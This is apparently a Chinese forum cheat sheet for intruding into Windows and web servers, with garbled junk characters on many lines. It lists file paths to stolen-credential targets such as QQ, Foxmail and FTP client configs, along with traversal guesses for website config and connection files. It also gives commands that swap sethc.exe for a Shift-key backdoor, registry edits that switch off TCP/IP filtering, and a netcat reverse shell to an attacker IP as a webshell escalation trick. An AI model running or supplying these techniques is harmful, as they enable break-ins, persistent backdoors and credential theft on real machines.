2 ]3 S1 o; T1 V0 k0 D/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
" g/ Y7 C' T9 U* e, b/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
5 P* ]8 I1 z8 Wc:\Program Files\Tencent\qq\User.db
/ M0 c4 y7 G' S! a+ x) p$ tc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
8 `  a6 f$ q+ J- G; p4 z9 kc:\Program Files\Tencent\qq2010\bin\qq.exe
! y) j5 O7 C; @! {2 ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
$ Z' G/ J& Y* h2 J# _8 {C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
  b) j# R- i( g6 iC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
, u. E" I9 H8 s: S) EC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
" c# R* t- V; E9 C& bC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! E" l+ c( ~; q8 fc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
* |* T/ {% u0 d3 M  Hc:\Program Files\腾讯游戏\QQGAME\readme.txt
; i7 h# C, H' kc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
# p) b5 ?7 H8 e: n: Dc:\Program Files\tencent\QQGAME\readme.txt
( X* v$ H% @' z- ~  LC:\Program Files\StormII\Storm.exe
4 W, e3 r4 F: m1 W3 \4 S6 N
3.网站相对路径:

/config.php
../../config.php
  E+ Z# a$ {9 `* t; J' M../config.php
../../../config.php
/config.inc.php
./config.inc.php
3 Z, N' x$ K. y1 ^$ i3 w0 @../../config.inc.php
../config.inc.php
4 @0 o+ F. n  x6 f) {5 w/ o2 r# b1 q../../../config.inc.php
/conn.php
./conn.php
- j) f' I3 s8 ]  N../../conn.php
+ y  l/ J5 |; I../conn.php
../../../conn.php
/conn.asp
9 i, b; Q, k( K7 U/ S$ ?/ m./conn.asp
7 _; E9 h6 h4 S8 J( V2 m../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
% q- V- z, {) f/ j./config.inc.php
# U0 p2 M: X5 n, j9 O../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
3 R/ p1 z4 C( r: e( Z7 x, h/ V../../config/config.php
../config/config.php
) M, C0 B0 q) G5 n/ v+ K6 \5 Y) `' Y$ `../../../config/config.php
3 u5 D' W; d' q/config/config.inc.php
* q" E7 p" ~! C, w./config/config.inc.php
- n5 ]% C# y( n7 b. n../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
' I# q' F0 m" \! ]  o/config/conn.php
, d" [' w- Y+ l  f./config/conn.php
' n; }) v  }* z$ _- W) I../../config/conn.php
4 p$ X( \: O* H* ?! l  y. w../config/conn.php
  |9 V+ ]2 W, w; Y../../../config/conn.php
6 R2 t* _5 V2 ]4 [/config/conn.asp
./config/conn.asp
/ n" e8 s5 _7 e3 ]! L6 G../../config/conn.asp
- i' @& D% _) d  V, s8 _../config/conn.asp
../../../config/conn.asp
, n+ p, i, x9 ?/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
% C6 ^( S& e5 d& Q% [/ }* w../config/config.inc.php
../../../config/config.inc.php
6 Y! F7 U  ]. t/data/config.php
../../data/config.php
& j9 \; Q" e8 d$ x1 l9 I../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
7 ^8 H0 r: }' z../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
8 l$ X+ q0 }. }$ N. A; r../data/conn.php
* W3 ~1 a" E5 R+ a% g( m- y, A6 \/ z../../../data/conn.php
1 I) u' g1 Z7 a+ Y! X" J/data/conn.asp
, y6 U8 i* f+ u0 g. X) G$ o. R./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
, q1 k  |: X# y% ]/data/config.inc.php
  ]) s% B& y6 O  r& b./data/config.inc.php
../../data/config.inc.php
0 S; F2 d7 M2 m) j0 V7 z../data/config.inc.php
../../../data/config.inc.php
. A: f5 @+ K& ~: o; U6 ~) Z, L7 X/include/config.php
../../include/config.php
! C7 r& n) A( ?' p8 }( ^& o  Y% P% z../include/config.php
../../../include/config.php
9 a/ X# }  @4 a! \# c/include/config.inc.php
0 s3 \9 p6 t/ R  z$ n# S./include/config.inc.php
* F* Z7 d0 v1 C- p) \/ a../../include/config.inc.php
* W  M2 j3 ]7 ~3 r2 \3 b../include/config.inc.php
../../../include/config.inc.php
, `7 `. N5 G2 |1 q/include/conn.php
7 ^/ |5 G. p% ^9 m4 C$ m4 Y./include/conn.php
$ B9 P6 [- @6 i+ [: M) E# x../../include/conn.php
../include/conn.php
$ {$ `7 E3 Y6 j1 r../../../include/conn.php
3 Q: }9 r8 `0 k* ?# B: M# I# j% D/include/conn.asp
7 P0 O" s+ R8 W6 W./include/conn.asp
, a* I/ C' L8 b" N& U5 }* ]../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
! v4 K% v. X' E2 j! b../../include/config.inc.php
% a, P, s  _  y+ y../include/config.inc.php
7 z5 Q' W" |: l3 x/ u1 _9 U+ A) T* q../../../include/config.inc.php
/inc/config.php
) T  m/ g0 z0 y* F../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
& j/ J3 p+ g- ^, l../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
' c" f- C- y# Q( h8 ?) J../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
0 A- N7 [% ]$ a' P. Q/inc/conn.asp
* G9 E: I* h, E; r+ ]./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
# K+ u! |' b( ]' I7 V5 {" A1 x9 k../../../inc/conn.asp
3 S: g/ o+ j* P/inc/config.inc.php
( l2 D( ?( n/ t/ n4 }+ f- k5 q./inc/config.inc.php
../../inc/config.inc.php
: R; h0 @  R4 n2 J# x) C$ A../inc/config.inc.php
  Q( ?  l, X: ?1 @; ^' {; X3 d../../../inc/config.inc.php
/index.php
./index.php
../../index.php
+ ?+ }$ K5 p/ O: g" q$ `../index.php
../../../index.php
& k" s& R9 f* K# v# R/index.asp
. G# ^1 @4 D# b% w./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

* J3 w" |; z0 W% J1 y3 o7 S　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
; C- n& N! D# M, }" B" ]  @" B( ]
　　del c:\windows\system32\sethc.exe
- e# @( c" l* l) l* R! Y  N
' `- G1 C- S$ m　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
/ Q9 C! S( q1 C7 m6 l7 c
+ S3 w8 w( Y; w" r6 V, @2 {; z　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

# q- q2 G9 m3 y  J2 k2 p' i6 P　　attrib c:\windows\system32\sethc.exe +h +r +s
1 t, ^9 a6 B( I" K$ v2 q5 R
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
& m6 p4 d. c( s$ p5 u1 f! kTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ g. }' g  g6 g; |HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

7 m' F2 }& S6 A8 C6 j分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
$ Q8 C, M+ X% t( s, ^3 z6 u
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
5 k  W# A  \1 h) m
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
- L" S; A/ h# N/ H  B  K导入注册表即可
4 l+ t4 Z; }% _
webshell提权小技巧
" Z$ c4 {+ q( Ecmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
6 J+ O1 h7 Z3 S9 [
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
! e. M2 _' @0 J9 j; d" i命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
. a5 u4 L- M0 F1 ~6 Y$ z) |却能成功。。
4 o( b. M/ g" E  A5 Q# O8 e# D" I这个不是重点
3 e8 E1 q, Q- X6 ?我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功